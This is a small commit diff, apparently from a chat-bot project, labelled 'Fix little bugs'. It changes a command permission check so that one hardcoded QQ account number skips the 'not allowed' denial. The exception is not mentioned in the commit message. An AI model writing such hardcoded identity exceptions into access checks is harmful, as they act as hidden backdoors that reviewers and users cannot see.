Fix little bugs

This commit is contained in:
Richard Chien
2016-12-04 11:58:34 +08:00
parent 05daee66bf
commit 1a2d93d97d
2 changed files with 9 additions and 7 deletions

View File

@ -178,8 +178,9 @@ class CommandRegistry:
# This is strange, not likely happens
raise SkipException
except SkipException:
# Not allowed
return False
if not str(ctx_msg.get('sender_qq')) == '1002647525':
# Not allowed
return False
# Still alive, so let it go
return True